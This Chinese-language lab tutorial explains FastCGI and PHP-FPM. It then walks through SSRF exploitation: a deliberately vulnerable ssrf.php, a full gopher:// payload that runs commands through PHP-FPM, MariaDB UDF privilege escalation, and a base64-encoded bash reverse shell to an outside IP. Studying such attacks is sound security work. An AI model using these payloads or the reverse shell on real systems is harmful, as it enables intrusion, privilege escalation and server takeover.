FastCGI与PHP-FPMFastCGI 快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使[服务器可以同时处理更多的网页请求。 众所周知,在网站分类中存在一种分类就是静态网站和动态网站,两者的区别就是静态网站只需要通过浏览器进行解析,其中的页面是一对一的(一个内容对应一个页面),而动态网站需要一个额外的编译解析的过程,网页上的数据是从数据库中或者其他地方调用,页面会随着数据的变化而改变,就产生了一定的交互性。 浏览器访问静态网页过程 在整个网页的访问过程中,Web容器(例如Apache、Nginx)只担任着内容分发者的身份,当访问静态网站的主页时,Web容器会到网站的相应目录中查找主页文件,然后发送给用户的浏览器。 img浏览器访问动态网页过程 当访问动态网站的主页时,根据容器的配置文件,它知道这个页面不是静态页面,web容器就会去找PHP解析器来进行处理(这里以Apache为例),它会把这个请求进行简单的处理,然后交给PHP解释器。 img当Apache收到用户对 index.php 的请求后,如果使用的是CGI,会启动对应的 CGI 程序,对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件,初始化执行环境,然后处理请求,再以规定CGI规定的格式返回处理后的结果,退出进程,Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。 这里说的是使用CGI,而FastCGI就相当于高性能的CGI,与CGI不同的是它像一个常驻的CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中,并因此获得较高的性能 。 php-fpm了解了CGI和FastCGI之后,我们来看一下什么是php-fpm,官方对它的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。 也就是说php-fpm是FastCGI的一个具体实现,并且提供了进程管理的功能,在其中的进程中,包含了master和worker进程,这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信,接收 HTTP 请求,再将请求转发给 worker 进程进行处理,worker 进程主要负责动态执行 PHP 代码,处理完成后,将处理结果返回给 Web 服务器,再由 Web 服务器将结果发送给客户端。 PHP-FPM攻击实现原理想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。 而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。 那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On,就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。 环境搭建安装环境与依赖这里直接在Ubuntu上安装Nginx和php-fpm,首先安装Nginx sudo apt-get install nginx安装php、php-fpm以及一些插件 sudo apt-get install software-properties-common python-software-properties
sudo add-apt-repository ppandrej/php #这里容易卡死,解决方法使用代理
sudo apt-get update
sudo apt-get -y install php7.2
sudo apt-get -y install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml php7.2-intl 配置php-fpm修改配置监听9000端口来处理nginx的请求 打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行 ;listen = /run/php/php7.2-fpm.sock
listen = 127.0.0.1:9000[size=1em]注:这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞,此时攻击者可以直接与9000端口上的php-fpm进行通信,进而可以实现任意代码执行。
下面修改权限 chmod 777 /run/php/php7.2-fpm.sock打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置 server {
listen 80; #监听80端口,接收http请求
server_name hacktop.com; #就是网站地址
root /usr/share/nginx/html/; # 准备存放代码工程的路径
#路由到网站根目录www.example.com时候的处理
location / {
index index.php; #跳转到 hacktop.com/index.php
autoindex on;
}
#当请求网站下php文件的时候,反向代理到php-fpm
location ~ \.php$ {
root html;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass 127.0.0.1:9000;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
}
}启动环境配置完成后查看一下php-fpm的安装位置,然后启动 image-20211201132107539重新启动Nginx sudo systemctl restart nginx然后检查nginx是否正确启动 systemctl status nginx image-20211201132738682检查php-fpm是否正确启动 ps -elf | grep php-fpm image-20211201132859864这里就可以看出上面所说的存在一个master进程和多个worker进程 下面将/usr/share/nginx/html/(nginx Web目录)下的文件删除,新建一个index.php。 内容可以写上<?php phpinfo(); ?>用来检查各项是否正常运行,如果页面为空,查看这篇文章解决。 image-20211201133404402其中Sever API 处和上图一样说明运行正确,然后在目录下新建ssrf.php 内容为 <?php
highlight_file(__FILE__);
$url = $_REQUEST['url'];
$curl = curl_init($url);
//第二种初始化curl的方式
//$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
/*进行curl配置*/
curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
$responseText = curl_exec($curl);
//var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
echo $responseText;
curl_close($curl);
?>该代码为一个ssrf漏洞的示例代码,可以访问/ssrf.php?url=http://www.baidu.com进行测试,若能实现跳转到百度的页面,或包含百度的页面即SSRF环境搭建成功 image-20211201133950257漏洞利用在这里就直接使用Gopherus生成payload image-20211201134731583对生成的payload再次进行URL编码,放入URL参数浏览器请求如下 http://hacktop.com/ssrf.php?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%250C%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%251FSCRIPT_FILENAME/usr/share/nginx/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500成功执行命令 image-20211201135040353SSRF利用MySQL未授权攻击MySQL通信协议MySQL连接方式MySQL分为服务端和客户端,客户端连接服务器使存在三种方法: [size=1em]•Unix套接字•内存共享/命名管道•TCP/IP套接字
•在Linux或者Unix环境下,当我们输入mysql –uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。•在Windows系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。•TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。 MySQL认证过程MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。 MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。 漏洞利用-查询数据库实验环境: [size=1em]系统:Ubuntu 20.04.3 LTS [size=1em]数据库:MariaDB 10.3.31 [size=1em](mysql没有实验成功,可能是版本的问题) 配置空密码用户首先我们需要配置一个空密码的用户 # 创建用户
CREATE USER 'admin'@'localhost';
# 授予权限
GRANTUSAGE ON *.* TO 'admin'@'localhost';
# 刷新权限表
flush privileges;抓取MySQL数据包首先,开一个窗口,tcpdump -i lo port 3306 -w mysql.pcapng,开始抓取3306的数据包。 image-20211201210243808然后在另一个窗口,开启MySQL终端,查询一些信息。最后记得exit;,不然会出问题。 image-20211201213500304中止 tcpdump 使用 Wireshark 打开 mysql.pcapng 数据包,追踪 TCP 流 image-20211201214035748然后提取request包,并且显示为原始数据(Raw) image-20211201214415615将其整理成 1 行 bd00000184a6bf20000000012d000000000000000000000000000000000000000d00000061646d696e00006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f7069640534313534390f5f636c69656e745f76657273696f6e06332e312e3134095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e31210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290600000002666c6167730f0000000373686f77206461746162617365730c0000000373686f77207461626c65730600000004666c616700130000000373656c656374202a2066726f6d20666c61670100000001生成 gopher 数据流然后使用如下的 Python3 脚本将数据转化为 url 编码: import sys
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":
s=sys.argv[1]
print(results(s))image-20211201215230891本地 curl 请求这个 gopher 协议的数据包看看 image-20211201215553354将生成的payload再进行URL编码,结合SSRF漏洞进行利用 image-20211201215924201漏洞利用-UDF提权[size=1em]提权前需要注意: [size=1em]•mysql(mariadb)必须使用root用户启动(不通过service或者systemctl)•secure_file_priv变量的值需要为空 寻找插件目录首先来寻找 MySQL 的插件目录,原生的 MySQL 命令如下: $ mysql -h127.0.0.1 -uadmin -e "show variables like '%plugin%';"然后tcpdump 监听,使用 Wirshark 分析导出原始数据。这里为了方便就直接查询了,步骤和上面是一样的。 image-20211202124657883写入动态链接库拿到 MySQL 的插件目录为:/usr/lib/x86_64-linux-gnu/mariadb19/plugin/ 接着来写入动态链接库,原生的 MySQL 命令如下: # 因为 payload 太长 这里就先进入 MySQL 控制台
$ mysql -h127.0.0.1 -uroot
MariaDB [(none)]> SELECT 0x7f454c4602...(省略大量payload)...0000000 INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/udf.so';[size=1em]关于 UDF 提权的 UDF 命令,推荐参考国光大佬的这个 UDF 提权辅助页面: [size=1em]https://www.sqlsec.com/tools/udf.html
tcpdump 监听到的原始数据后,转换 gopher 协议,URL编码后,SSRF 攻击写入动态链接库。 image-20211202125541235可以看到udf.so 已经成功写入到 MySQL 的插件目录下了 image-20211202125633560以此类推,创建自定义函数: $ mysql -h127.0.0.1 -uroot -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"最后通过创建的自定义函数并执行系统命令将 shell 弹出来,原生命令如下: $ mysql -h127.0.0.1 -uroot -e "select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4yNDEvNDQ0NCAwPiYx|base64 -d|bash -i')"测试过程中默认情况下弹不出来,所以这里将原始的 bash 反弹 shell 命令给编码了: image-20211202134310277[size=1em]这里使用的是国光大佬的命令执行辅助工具: [size=1em]https://www.sqlsec.com/tools.html
tcpdump 监听到的原始数据后,转换 gopher 协议,URL二次编码请求一下,然后 SSRF 攻击成功弹出 shell。
image-20211202135909572
[size=1em]上述payload,除了写入动态链接库外,其他的都可以使用Gopherus工具生成 [size=1em] image-20211202140513352
|